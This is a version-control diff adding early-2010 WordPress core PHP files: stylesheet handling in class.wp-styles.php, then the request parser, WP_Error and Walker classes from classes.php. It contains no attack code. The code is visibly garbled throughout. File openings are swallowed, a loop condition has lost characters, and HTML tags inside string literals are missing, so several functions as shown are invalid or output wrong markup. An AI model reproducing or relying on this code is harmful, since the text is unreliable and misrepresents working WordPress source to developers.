return $r; + } + + function do_head_items() { + $this->do_items(false, 0); + return $this->done; + } + + function do_footer_items() { + if ( !empty($this->in_footer) ) { + foreach( $this->in_footer as $key => $handle ) { + if ( !in_array($handle, $this->done, true) && isset($this->registered[$handle]) ) { + $this->do_item($handle); + $this->done[] = $handle; + unset( $this->in_footer[$key] ); + } + } + } + return $this->done; + } + + function in_default_dir($src) { + if ( ! $this->default_dirs ) + return true; + + foreach ( (array) $this->default_dirs as $test ) { + if ( 0 === strpos($src, $test) ) + return true; + } + return false; + } + + function reset() { + $this->do_concat = false; + $this->print_code = ''; + $this->concat = ''; + $this->concat_version = ''; + $this->print_html = ''; + $this->ext_version = ''; + $this->ext_handles = ''; + } +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class.wp-styles.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class.wp-styles.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ +registered[$handle]->ver ? $this->registered[$handle]->ver : $this->default_version; + if ( isset($this->args[$handle]) ) + $ver .= '&' . $this->args[$handle]; + + if ( $this->do_concat ) { + if ( $this->in_default_dir($this->registered[$handle]->src) && !isset($this->registered[$handle]->extra['conditional']) && !isset($this->registered[$handle]->extra['alt']) ) { + $this->concat .= "$handle,"; + $this->concat_version .= "$handle$ver"; + return true; + } + } + + if ( isset($this->registered[$handle]->args) ) + $media = esc_attr( $this->registered[$handle]->args ); + else + $media = 'all'; + + $href = $this->_css_href( $this->registered[$handle]->src, $ver, $handle ); + $rel = isset($this->registered[$handle]->extra['alt']) && $this->registered[$handle]->extra['alt'] ? 'alternate stylesheet' : 'stylesheet'; + $title = isset($this->registered[$handle]->extra['title']) ? "title='" . esc_attr( $this->registered[$handle]->extra['title'] ) . "'" : ''; + + $end_cond = $tag = ''; + if ( isset($this->registered[$handle]->extra['conditional']) && $this->registered[$handle]->extra['conditional'] ) { + $tag .= "\n"; + } + + $tag .= apply_filters( 'style_loader_tag', "\n", $handle ); + if ( 'rtl' === $this->text_direction && isset($this->registered[$handle]->extra['rtl']) && $this->registered[$handle]->extra['rtl'] ) { + if ( is_bool( $this->registered[$handle]->extra['rtl'] ) ) + $rtl_href = str_replace( '.css', '-rtl.css', $this->_css_href( $this->registered[$handle]->src , $ver, "$handle-rtl" )); + else + $rtl_href = $this->_css_href( $this->registered[$handle]->extra['rtl'], $ver, "$handle-rtl" ); + + $tag .= apply_filters( 'style_loader_tag', "\n", $handle ); + } + + $tag .= $end_cond; + + if ( $this->do_concat ) + $this->print_html .= $tag; + else + echo $tag; + + // Could do something with $this->registered[$handle]->extra here to print out extra CSS rules +// echo "\n"; + + return true; + } + + function all_deps( $handles, $recursion = false, $group = false ) { + $r = parent::all_deps( $handles, $recursion ); + if ( !$recursion ) + $this->to_do = apply_filters( 'print_styles_array', $this->to_do ); + return $r; + } + + function _css_href( $src, $ver, $handle ) { + if ( !preg_match('|^https?://|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) { + $src = $this->base_url . $src; + } + + $src = add_query_arg('ver', $ver, $src); + $src = apply_filters( 'style_loader_src', $src, $handle ); + return esc_url( $src ); + } + + function in_default_dir($src) { + if ( ! $this->default_dirs ) + return true; + + foreach ( (array) $this->default_dirs as $test ) { + if ( 0 === strpos($src, $test) ) + return true; + } + return false; + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/classes.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/classes.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1685 @@ +public_query_vars) ) + $this->public_query_vars[] = $qv; + } + + /** + * Set the value of a query variable. + * + * @since 2.3.0 + * + * @param string $key Query variable name. + * @param mixed $value Query variable value. + */ + function set_query_var($key, $value) { + $this->query_vars[$key] = $value; + } + + /** + * Parse request to find correct WordPress query. + * + * Sets up the query variables based on the request. There are also many + * filters and actions that can be used to further manipulate the result. + * + * @since 2.0.0 + * + * @param array|string $extra_query_vars Set the extra query variables. + */ + function parse_request($extra_query_vars = '') { + global $wp_rewrite; + + $this->query_vars = array(); + $taxonomy_query_vars = array(); + + if ( is_array($extra_query_vars) ) + $this->extra_query_vars = & $extra_query_vars; + else if (! empty($extra_query_vars)) + parse_str($extra_query_vars, $this->extra_query_vars); + + // Process PATH_INFO, REQUEST_URI, and 404 for permalinks. + + // Fetch the rewrite rules. + $rewrite = $wp_rewrite->wp_rewrite_rules(); + + if (! empty($rewrite)) { + // If we match a rewrite rule, this will be cleared. + $error = '404'; + $this->did_permalink = true; + + if ( isset($_SERVER['PATH_INFO']) ) + $pathinfo = $_SERVER['PATH_INFO']; + else + $pathinfo = ''; + $pathinfo_array = explode('?', $pathinfo); + $pathinfo = str_replace("%", "%25", $pathinfo_array[0]); + $req_uri = $_SERVER['REQUEST_URI']; + $req_uri_array = explode('?', $req_uri); + $req_uri = $req_uri_array[0]; + $self = $_SERVER['PHP_SELF']; + $home_path = parse_url(get_option('home')); + if ( isset($home_path['path']) ) + $home_path = $home_path['path']; + else + $home_path = ''; + $home_path = trim($home_path, '/'); + + // Trim path info from the end and the leading home path from the + // front. For path info requests, this leaves us with the requesting + // filename, if any. For 404 requests, this leaves us with the + // requested permalink. + $req_uri = str_replace($pathinfo, '', rawurldecode($req_uri)); + $req_uri = trim($req_uri, '/'); + $req_uri = preg_replace("|^$home_path|", '', $req_uri); + $req_uri = trim($req_uri, '/'); + $pathinfo = trim($pathinfo, '/'); + $pathinfo = preg_replace("|^$home_path|", '', $pathinfo); + $pathinfo = trim($pathinfo, '/'); + $self = trim($self, '/'); + $self = preg_replace("|^$home_path|", '', $self); + $self = trim($self, '/'); + + // The requested permalink is in $pathinfo for path info requests and + // $req_uri for other requests. + if ( ! empty($pathinfo) && !preg_match('|^.*' . $wp_rewrite->index . '$|', $pathinfo) ) { + $request = $pathinfo; + } else { + // If the request uri is the index, blank it out so that we don't try to match it against a rule. + if ( $req_uri == $wp_rewrite->index ) + $req_uri = ''; + $request = $req_uri; + } + + $this->request = $request; + + // Look for matches. + $request_match = $request; + foreach ( (array) $rewrite as $match => $query) { + // Don't try to match against AtomPub calls + if ( $req_uri == 'wp-app.php' ) + break; + + // If the requesting file is the anchor of the match, prepend it + // to the path info. + if ((! empty($req_uri)) && (strpos($match, $req_uri) === 0) && ($req_uri != $request)) { + $request_match = $req_uri . '/' . $request; + } + + if (preg_match("#^$match#", $request_match, $matches) || + preg_match("#^$match#", urldecode($request_match), $matches)) { + // Got a match. + $this->matched_rule = $match; + + // Trim the query of everything up to the '?'. + $query = preg_replace("!^.+\?!", '', $query); + + // Substitute the substring matches into the query. + $query = addslashes(WP_MatchesMapRegex::apply($query, $matches)); + + $this->matched_query = $query; + + // Parse the query. + parse_str($query, $perma_query_vars); + + // If we're processing a 404 request, clear the error var + // since we found something. + if (isset($_GET['error'])) + unset($_GET['error']); + + if (isset($error)) + unset($error); + + break; + } + } + + // If req_uri is empty or if it is a request for ourself, unset error. + if (empty($request) || $req_uri == $self || strpos($_SERVER['PHP_SELF'], 'wp-admin/') !== false) { + if (isset($_GET['error'])) + unset($_GET['error']); + + if (isset($error)) + unset($error); + + if (isset($perma_query_vars) && strpos($_SERVER['PHP_SELF'], 'wp-admin/') !== false) + unset($perma_query_vars); + + $this->did_permalink = false; + } + } + + $this->public_query_vars = apply_filters('query_vars', $this->public_query_vars); + + foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy => $t ) + if ( $t->query_var ) + $taxonomy_query_vars[$t->query_var] = $taxonomy; + + for ($i=0; $ipublic_query_vars); $i += 1) { + $wpvar = $this->public_query_vars[$i]; + if (isset($this->extra_query_vars[$wpvar])) + $this->query_vars[$wpvar] = $this->extra_query_vars[$wpvar]; + elseif (isset($GLOBALS[$wpvar])) + $this->query_vars[$wpvar] = $GLOBALS[$wpvar]; + elseif (!empty($_POST[$wpvar])) + $this->query_vars[$wpvar] = $_POST[$wpvar]; + elseif (!empty($_GET[$wpvar])) + $this->query_vars[$wpvar] = $_GET[$wpvar]; + elseif (!empty($perma_query_vars[$wpvar])) + $this->query_vars[$wpvar] = $perma_query_vars[$wpvar]; + + if ( !empty( $this->query_vars[$wpvar] ) ) { + $this->query_vars[$wpvar] = (string) $this->query_vars[$wpvar]; + if ( in_array( $wpvar, $taxonomy_query_vars ) ) { + $this->query_vars['taxonomy'] = $taxonomy_query_vars[$wpvar]; + $this->query_vars['term'] = $this->query_vars[$wpvar]; + } + } + } + + foreach ( (array) $this->private_query_vars as $var) { + if (isset($this->extra_query_vars[$var])) + $this->query_vars[$var] = $this->extra_query_vars[$var]; + elseif (isset($GLOBALS[$var]) && '' != $GLOBALS[$var]) + $this->query_vars[$var] = $GLOBALS[$var]; + } + + if ( isset($error) ) + $this->query_vars['error'] = $error; + + $this->query_vars = apply_filters('request', $this->query_vars); + + do_action_ref_array('parse_request', array(&$this)); + } + + /** + * Send additional HTTP headers for caching, content type, etc. + * + * Sets the X-Pingback header, 404 status (if 404), Content-type. If showing + * a feed, it will also send last-modified, etag, and 304 status if needed. + * + * @since 2.0.0 + */ + function send_headers() { + $headers = array('X-Pingback' => get_bloginfo('pingback_url')); + $status = null; + $exit_required = false; + + if ( is_user_logged_in() ) + $headers = array_merge($headers, wp_get_nocache_headers()); + if ( !empty($this->query_vars['error']) && '404' == $this->query_vars['error'] ) { + $status = 404; + if ( !is_user_logged_in() ) + $headers = array_merge($headers, wp_get_nocache_headers()); + $headers['Content-Type'] = get_option('html_type') . '; charset=' . get_option('blog_charset'); + } else if ( empty($this->query_vars['feed']) ) { + $headers['Content-Type'] = get_option('html_type') . '; charset=' . get_option('blog_charset'); + } else { + // We're showing a feed, so WP is indeed the only thing that last changed + if ( !empty($this->query_vars['withcomments']) + || ( empty($this->query_vars['withoutcomments']) + && ( !empty($this->query_vars['p']) + || !empty($this->query_vars['name']) + || !empty($this->query_vars['page_id']) + || !empty($this->query_vars['pagename']) + || !empty($this->query_vars['attachment']) + || !empty($this->query_vars['attachment_id']) + ) + ) + ) + $wp_last_modified = mysql2date('D, d M Y H:i:s', get_lastcommentmodified('GMT'), 0).' GMT'; + else + $wp_last_modified = mysql2date('D, d M Y H:i:s', get_lastpostmodified('GMT'), 0).' GMT'; + $wp_etag = '"' . md5($wp_last_modified) . '"'; + $headers['Last-Modified'] = $wp_last_modified; + $headers['ETag'] = $wp_etag; + + // Support for Conditional GET + if (isset($_SERVER['HTTP_IF_NONE_MATCH'])) + $client_etag = stripslashes(stripslashes($_SERVER['HTTP_IF_NONE_MATCH'])); + else $client_etag = false; + + $client_last_modified = empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) ? '' : trim($_SERVER['HTTP_IF_MODIFIED_SINCE']); + // If string is empty, return 0. If not, attempt to parse into a timestamp + $client_modified_timestamp = $client_last_modified ? strtotime($client_last_modified) : 0; + + // Make a timestamp for our most recent modification... + $wp_modified_timestamp = strtotime($wp_last_modified); + + if ( ($client_last_modified && $client_etag) ? + (($client_modified_timestamp >= $wp_modified_timestamp) && ($client_etag == $wp_etag)) : + (($client_modified_timestamp >= $wp_modified_timestamp) || ($client_etag == $wp_etag)) ) { + $status = 304; + $exit_required = true; + } + } + + $headers = apply_filters('wp_headers', $headers, $this); + + if ( ! empty( $status ) ) + status_header( $status ); + foreach( (array) $headers as $name => $field_value ) + @header("{$name}: {$field_value}"); + + if ($exit_required) + exit(); + + do_action_ref_array('send_headers', array(&$this)); + } + + /** + * Sets the query string property based off of the query variable property. + * + * The 'query_string' filter is deprecated, but still works. Plugins should + * use the 'request' filter instead. + * + * @since 2.0.0 + */ + function build_query_string() { + $this->query_string = ''; + foreach ( (array) array_keys($this->query_vars) as $wpvar) { + if ( '' != $this->query_vars[$wpvar] ) { + $this->query_string .= (strlen($this->query_string) < 1) ? '' : '&'; + if ( !is_scalar($this->query_vars[$wpvar]) ) // Discard non-scalars. + continue; + $this->query_string .= $wpvar . '=' . rawurlencode($this->query_vars[$wpvar]); + } + } + + // query_string filter deprecated. Use request filter instead. + if ( has_filter('query_string') ) { // Don't bother filtering and parsing if no plugins are hooked in. + $this->query_string = apply_filters('query_string', $this->query_string); + parse_str($this->query_string, $this->query_vars); + } + } + + /** + * Setup the WordPress Globals. + * + * The query_vars property will be extracted to the GLOBALS. So care should + * be taken when naming global variables that might interfere with the + * WordPress environment. + * + * @global string $query_string Query string for the loop. + * @global int $more Only set, if single page or post. + * @global int $single If single page or post. Only set, if single page or post. + * + * @since 2.0.0 + */ + function register_globals() { + global $wp_query; + // Extract updated query vars back into global namespace. + foreach ( (array) $wp_query->query_vars as $key => $value) { + $GLOBALS[$key] = $value; + } + + $GLOBALS['query_string'] = $this->query_string; + $GLOBALS['posts'] = & $wp_query->posts; + $GLOBALS['post'] = $wp_query->post; + $GLOBALS['request'] = $wp_query->request; + + if ( is_single() || is_page() ) { + $GLOBALS['more'] = 1; + $GLOBALS['single'] = 1; + } + } + + /** + * Setup the current user. + * + * @since 2.0.0 + */ + function init() { + wp_get_current_user(); + } + + /** + * Setup the Loop based on the query variables. + * + * @uses WP::$query_vars + * @since 2.0.0 + */ + function query_posts() { + global $wp_the_query; + $this->build_query_string(); + $wp_the_query->query($this->query_vars); + } + + /** + * Set the Headers for 404, if permalink is not found. + * + * Issue a 404 if a permalink request doesn't match any posts. Don't issue + * a 404 if one was already issued, if the request was a search, or if the + * request was a regular query string request rather than a permalink + * request. Issues a 200, if not 404. + * + * @since 2.0.0 + */ + function handle_404() { + global $wp_query; + + if ( (0 == count($wp_query->posts)) && !is_404() && !is_search() && ( $this->did_permalink || (!empty($_SERVER['QUERY_STRING']) && (false === strpos($_SERVER['REQUEST_URI'], '?'))) ) ) { + // Don't 404 for these queries if they matched an object. + if ( ( is_tag() || is_category() || is_author() ) && $wp_query->get_queried_object() ) { + if ( !is_404() ) + status_header( 200 ); + return; + } + $wp_query->set_404(); + status_header( 404 ); + nocache_headers(); + } elseif ( !is_404() ) { + status_header( 200 ); + } + } + + /** + * Sets up all of the variables required by the WordPress environment. + * + * The action 'wp' has one parameter that references the WP object. It + * allows for accessing the properties and methods to further manipulate the + * object. + * + * @since 2.0.0 + * + * @param string|array $query_args Passed to {@link parse_request()} + */ + function main($query_args = '') { + $this->init(); + $this->parse_request($query_args); + $this->send_headers(); + $this->query_posts(); + $this->handle_404(); + $this->register_globals(); + do_action_ref_array('wp', array(&$this)); + } + + /** + * PHP4 Constructor - Does nothing. + * + * Call main() method when ready to run setup. + * + * @since 2.0.0 + * + * @return WP + */ + function WP() { + // Empty. + } +} + +/** + * WordPress Error class. + * + * Container for checking for WordPress errors and error messages. Return + * WP_Error and use {@link is_wp_error()} to check if this class is returned. + * Many core WordPress functions pass this class in the event of an error and + * if not handled properly will result in code errors. + * + * @package WordPress + * @since 2.1.0 + */ +class WP_Error { + /** + * Stores the list of errors. + * + * @since 2.1.0 + * @var array + * @access private + */ + var $errors = array(); + + /** + * Stores the list of data for error codes. + * + * @since 2.1.0 + * @var array + * @access private + */ + var $error_data = array(); + + /** + * PHP4 Constructor - Sets up error message. + * + * If code parameter is empty then nothing will be done. It is possible to + * add multiple messages to the same code, but with other methods in the + * class. + * + * All parameters are optional, but if the code parameter is set, then the + * data parameter is optional. + * + * @since 2.1.0 + * + * @param string|int $code Error code + * @param string $message Error message + * @param mixed $data Optional. Error data. + * @return WP_Error + */ + function WP_Error($code = '', $message = '', $data = '') { + if ( empty($code) ) + return; + + $this->errors[$code][] = $message; + + if ( ! empty($data) ) + $this->error_data[$code] = $data; + } + + /** + * Retrieve all error codes. + * + * @since 2.1.0 + * @access public + * + * @return array List of error codes, if avaiable. + */ + function get_error_codes() { + if ( empty($this->errors) ) + return array(); + + return array_keys($this->errors); + } + + /** + * Retrieve first error code available. + * + * @since 2.1.0 + * @access public + * + * @return string|int Empty string, if no error codes. + */ + function get_error_code() { + $codes = $this->get_error_codes(); + + if ( empty($codes) ) + return ''; + + return $codes[0]; + } + + /** + * Retrieve all error messages or error messages matching code. + * + * @since 2.1.0 + * + * @param string|int $code Optional. Retrieve messages matching code, if exists. + * @return array Error strings on success, or empty array on failure (if using codee parameter). + */ + function get_error_messages($code = '') { + // Return all messages if no code specified. + if ( empty($code) ) { + $all_messages = array(); + foreach ( (array) $this->errors as $code => $messages ) + $all_messages = array_merge($all_messages, $messages); + + return $all_messages; + } + + if ( isset($this->errors[$code]) ) + return $this->errors[$code]; + else + return array(); + } + + /** + * Get single error message. + * + * This will get the first message available for the code. If no code is + * given then the first code available will be used. + * + * @since 2.1.0 + * + * @param string|int $code Optional. Error code to retrieve message. + * @return string + */ + function get_error_message($code = '') { + if ( empty($code) ) + $code = $this->get_error_code(); + $messages = $this->get_error_messages($code); + if ( empty($messages) ) + return ''; + return $messages[0]; + } + + /** + * Retrieve error data for error code. + * + * @since 2.1.0 + * + * @param string|int $code Optional. Error code. + * @return mixed Null, if no errors. + */ + function get_error_data($code = '') { + if ( empty($code) ) + $code = $this->get_error_code(); + + if ( isset($this->error_data[$code]) ) + return $this->error_data[$code]; + return null; + } + + /** + * Append more error messages to list of error messages. + * + * @since 2.1.0 + * @access public + * + * @param string|int $code Error code. + * @param string $message Error message. + * @param mixed $data Optional. Error data. + */ + function add($code, $message, $data = '') { + $this->errors[$code][] = $message; + if ( ! empty($data) ) + $this->error_data[$code] = $data; + } + + /** + * Add data for error code. + * + * The error code can only contain one error data. + * + * @since 2.1.0 + * + * @param mixed $data Error data. + * @param string|int $code Error code. + */ + function add_data($data, $code = '') { + if ( empty($code) ) + $code = $this->get_error_code(); + + $this->error_data[$code] = $data; + } +} + +/** + * Check whether variable is a WordPress Error. + * + * Looks at the object and if a WP_Error class. Does not check to see if the + * parent is also WP_Error, so can't inherit WP_Error and still use this + * function. + * + * @since 2.1.0 + * + * @param mixed $thing Check if unknown variable is WordPress Error object. + * @return bool True, if WP_Error. False, if not WP_Error. + */ +function is_wp_error($thing) { + if ( is_object($thing) && is_a($thing, 'WP_Error') ) + return true; + return false; +} + +/** + * A class for displaying various tree-like structures. + * + * Extend the Walker class to use it, see examples at the below. Child classes + * do not need to implement all of the abstract methods in the class. The child + * only needs to implement the methods that are needed. Also, the methods are + * not strictly abstract in that the parameter definition needs to be followed. + * The child classes can have additional parameters. + * + * @package WordPress + * @since 2.1.0 + * @abstract + */ +class Walker { + /** + * What the class handles. + * + * @since 2.1.0 + * @var string + * @access public + */ + var $tree_type; + + /** + * DB fields to use. + * + * @since 2.1.0 + * @var array + * @access protected + */ + var $db_fields; + + /** + * Max number of pages walked by the paged walker + * + * @since 2.7.0 + * @var int + * @access protected + */ + var $max_pages = 1; + + /** + * Starts the list before the elements are added. + * + * Additional parameters are used in child classes. The args parameter holds + * additional values that may be used with the child class methods. This + * method is called at the start of the output list. + * + * @since 2.1.0 + * @abstract + * + * @param string $output Passed by reference. Used to append additional content. + */ + function start_lvl(&$output) {} + + /** + * Ends the list of after the elements are added. + * + * Additional parameters are used in child classes. The args parameter holds + * additional values that may be used with the child class methods. This + * method finishes the list at the end of output of the elements. + * + * @since 2.1.0 + * @abstract + * + * @param string $output Passed by reference. Used to append additional content. + */ + function end_lvl(&$output) {} + + /** + * Start the element output. + * + * Additional parameters are used in child classes. The args parameter holds + * additional values that may be used with the child class methods. Includes + * the element output also. + * + * @since 2.1.0 + * @abstract + * + * @param string $output Passed by reference. Used to append additional content. + */ + function start_el(&$output) {} + + /** + * Ends the element output, if needed. + * + * Additional parameters are used in child classes. The args parameter holds + * additional values that may be used with the child class methods. + * + * @since 2.1.0 + * @abstract + * + * @param string $output Passed by reference. Used to append additional content. + */ + function end_el(&$output) {} + + /** + * Traverse elements to create list from elements. + * + * Display one element if the element doesn't have any children otherwise, + * display the element and its children. Will only traverse up to the max + * depth and no ignore elements under that depth. It is possible to set the + * max depth to include all depths, see walk() method. + * + * This method shouldn't be called directly, use the walk() method instead. + * + * @since 2.5.0 + * + * @param object $element Data object + * @param array $children_elements List of elements to continue traversing. + * @param int $max_depth Max depth to traverse. + * @param int $depth Depth of current element. + * @param array $args + * @param string $output Passed by reference. Used to append additional content. + * @return null Null on failure with no changes to parameters. + */ + function display_element( $element, &$children_elements, $max_depth, $depth=0, $args, &$output ) { + + if ( !$element ) + return; + + $id_field = $this->db_fields['id']; + + //display this element + if ( is_array( $args[0] ) ) + $args[0]['has_children'] = ! empty( $children_elements[$element->$id_field] ); + $cb_args = array_merge( array(&$output, $element, $depth), $args); + call_user_func_array(array(&$this, 'start_el'), $cb_args); + + $id = $element->$id_field; + + // descend only when the depth is right and there are childrens for this element + if ( ($max_depth == 0 || $max_depth > $depth+1 ) && isset( $children_elements[$id]) ) { + + foreach( $children_elements[ $id ] as $child ){ + + if ( !isset($newlevel) ) { + $newlevel = true; + //start the child delimiter + $cb_args = array_merge( array(&$output, $depth), $args); + call_user_func_array(array(&$this, 'start_lvl'), $cb_args); + } + $this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output ); + } + unset( $children_elements[ $id ] ); + } + + if ( isset($newlevel) && $newlevel ){ + //end the child delimiter + $cb_args = array_merge( array(&$output, $depth), $args); + call_user_func_array(array(&$this, 'end_lvl'), $cb_args); + } + + //end this element + $cb_args = array_merge( array(&$output, $element, $depth), $args); + call_user_func_array(array(&$this, 'end_el'), $cb_args); + } + + /** + * Display array of elements hierarchically. + * + * It is a generic function which does not assume any existing order of + * elements. max_depth = -1 means flatly display every element. max_depth = + * 0 means display all levels. max_depth > 0 specifies the number of + * display levels. + * + * @since 2.1.0 + * + * @param array $elements + * @param int $max_depth + * @return string + */ + function walk( $elements, $max_depth) { + + $args = array_slice(func_get_args(), 2); + $output = ''; + + if ($max_depth < -1) //invalid parameter + return $output; + + if (empty($elements)) //nothing to walk + return $output; + + $id_field = $this->db_fields['id']; + $parent_field = $this->db_fields['parent']; + + // flat display + if ( -1 == $max_depth ) { + $empty_array = array(); + foreach ( $elements as $e ) + $this->display_element( $e, $empty_array, 1, 0, $args, $output ); + return $output; + } + + /* + * need to display in hierarchical order + * seperate elements into two buckets: top level and children elements + * children_elements is two dimensional array, eg. + * children_elements[10][] contains all sub-elements whose parent is 10. + */ + $top_level_elements = array(); + $children_elements = array(); + foreach ( $elements as $e) { + if ( 0 == $e->$parent_field ) + $top_level_elements[] = $e; + else + $children_elements[ $e->$parent_field ][] = $e; + } + + /* + * when none of the elements is top level + * assume the first one must be root of the sub elements + */ + if ( empty($top_level_elements) ) { + + $first = array_slice( $elements, 0, 1 ); + $root = $first[0]; + + $top_level_elements = array(); + $children_elements = array(); + foreach ( $elements as $e) { + if ( $root->$parent_field == $e->$parent_field ) + $top_level_elements[] = $e; + else + $children_elements[ $e->$parent_field ][] = $e; + } + } + + foreach ( $top_level_elements as $e ) + $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); + + /* + * if we are displaying all levels, and remaining children_elements is not empty, + * then we got orphans, which should be displayed regardless + */ + if ( ( $max_depth == 0 ) && count( $children_elements ) > 0 ) { + $empty_array = array(); + foreach ( $children_elements as $orphans ) + foreach( $orphans as $op ) + $this->display_element( $op, $empty_array, 1, 0, $args, $output ); + } + + return $output; + } + + /** + * paged_walk() - produce a page of nested elements + * + * Given an array of hierarchical elements, the maximum depth, a specific page number, + * and number of elements per page, this function first determines all top level root elements + * belonging to that page, then lists them and all of their children in hierarchical order. + * + * @package WordPress + * @since 2.7 + * @param $max_depth = 0 means display all levels; $max_depth > 0 specifies the number of display levels. + * @param $page_num the specific page number, beginning with 1. + * @return XHTML of the specified page of elements + */ + function paged_walk( $elements, $max_depth, $page_num, $per_page ) { + + /* sanity check */ + if ( empty($elements) || $max_depth < -1 ) + return ''; + + $args = array_slice( func_get_args(), 4 ); + $output = ''; + + $id_field = $this->db_fields['id']; + $parent_field = $this->db_fields['parent']; + + $count = -1; + if ( -1 == $max_depth ) + $total_top = count( $elements ); + if ( $page_num < 1 || $per_page < 0 ) { + // No paging + $paging = false; + $start = 0; + if ( -1 == $max_depth ) + $end = $total_top; + $this->max_pages = 1; + } else { + $paging = true; + $start = ( (int)$page_num - 1 ) * (int)$per_page; + $end = $start + $per_page; + if ( -1 == $max_depth ) + $this->max_pages = ceil($total_top / $per_page); + } + + // flat display + if ( -1 == $max_depth ) { + if ( !empty($args[0]['reverse_top_level']) ) { + $elements = array_reverse( $elements ); + $oldstart = $start; + $start = $total_top - $end; + $end = $total_top - $oldstart; + } + + $empty_array = array(); + foreach ( $elements as $e ) { + $count++; + if ( $count < $start ) + continue; + if ( $count >= $end ) + break; + $this->display_element( $e, $empty_array, 1, 0, $args, $output ); + } + return $output; + } + + /* + * seperate elements into two buckets: top level and children elements + * children_elements is two dimensional array, eg. + * children_elements[10][] contains all sub-elements whose parent is 10. + */ + $top_level_elements = array(); + $children_elements = array(); + foreach ( $elements as $e) { + if ( 0 == $e->$parent_field ) + $top_level_elements[] = $e; + else + $children_elements[ $e->$parent_field ][] = $e; + } + + $total_top = count( $top_level_elements ); + if ( $paging ) + $this->max_pages = ceil($total_top / $per_page); + else + $end = $total_top; + + if ( !empty($args[0]['reverse_top_level']) ) { + $top_level_elements = array_reverse( $top_level_elements ); + $oldstart = $start; + $start = $total_top - $end; + $end = $total_top - $oldstart; + } + if ( !empty($args[0]['reverse_children']) ) { + foreach ( $children_elements as $parent => $children ) + $children_elements[$parent] = array_reverse( $children ); + } + + foreach ( $top_level_elements as $e ) { + $count++; + + //for the last page, need to unset earlier children in order to keep track of orphans + if ( $end >= $total_top && $count < $start ) + $this->unset_children( $e, $children_elements ); + + if ( $count < $start ) + continue; + + if ( $count >= $end ) + break; + + $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); + } + + if ( $end >= $total_top && count( $children_elements ) > 0 ) { + $empty_array = array(); + foreach ( $children_elements as $orphans ) + foreach( $orphans as $op ) + $this->display_element( $op, $empty_array, 1, 0, $args, $output ); + } + + return $output; + } + + function get_number_of_root_elements( $elements ){ + + $num = 0; + $parent_field = $this->db_fields['parent']; + + foreach ( $elements as $e) { + if ( 0 == $e->$parent_field ) + $num++; + } + return $num; + } + + // unset all the children for a given top level element + function unset_children( $e, &$children_elements ){ + + if ( !$e || !$children_elements ) + return; + + $id_field = $this->db_fields['id']; + $id = $e->$id_field; + + if ( !empty($children_elements[$id]) && is_array($children_elements[$id]) ) + foreach ( (array) $children_elements[$id] as $child ) + $this->unset_children( $child, $children_elements ); + + if ( isset($children_elements[$id]) ) + unset( $children_elements[$id] ); + + } +} + +/** + * Create HTML list of pages. + * + * @package WordPress + * @since 2.1.0 + * @uses Walker + */ +class Walker_Page extends Walker { + /** + * @see Walker::$tree_type + * @since 2.1.0 + * @var string + */ + var $tree_type = 'page'; + + /** + * @see Walker::$db_fields + * @since 2.1.0 + * @todo Decouple this. + * @var array + */ + var $db_fields = array ('parent' => 'post_parent', 'id' => 'ID'); + + /** + * @see Walker::start_lvl() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param int $depth Depth of page. Used for padding. + */ + function start_lvl(&$output, $depth) { + $indent = str_repeat("\t", $depth); + $output .= "\n$indent
      \n"; + } + + /** + * @see Walker::end_lvl() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param int $depth Depth of page. Used for padding. + */ + function end_lvl(&$output, $depth) { + $indent = str_repeat("\t", $depth); + $output .= "$indent
    \n"; + } + + /** + * @see Walker::start_el() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param object $page Page data object. + * @param int $depth Depth of page. Used for padding. + * @param int $current_page Page ID. + * @param array $args + */ + function start_el(&$output, $page, $depth, $args, $current_page) { + if ( $depth ) + $indent = str_repeat("\t", $depth); + else + $indent = ''; + + extract($args, EXTR_SKIP); + $css_class = array('page_item', 'page-item-'.$page->ID); + if ( !empty($current_page) ) { + $_current_page = get_page( $current_page ); + if ( isset($_current_page->ancestors) && in_array($page->ID, (array) $_current_page->ancestors) ) + $css_class[] = 'current_page_ancestor'; + if ( $page->ID == $current_page ) + $css_class[] = 'current_page_item'; + elseif ( $_current_page && $page->ID == $_current_page->post_parent ) + $css_class[] = 'current_page_parent'; + } elseif ( $page->ID == get_option('page_for_posts') ) { + $css_class[] = 'current_page_parent'; + } + + $css_class = implode(' ', apply_filters('page_css_class', $css_class, $page)); + + $output .= $indent . '
  • ' . $link_before . apply_filters('the_title', $page->post_title) . $link_after . ''; + + if ( !empty($show_date) ) { + if ( 'modified' == $show_date ) + $time = $page->post_modified; + else + $time = $page->post_date; + + $output .= " " . mysql2date($date_format, $time); + } + } + + /** + * @see Walker::end_el() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param object $page Page data object. Not used. + * @param int $depth Depth of page. Not Used. + */ + function end_el(&$output, $page, $depth) { + $output .= "
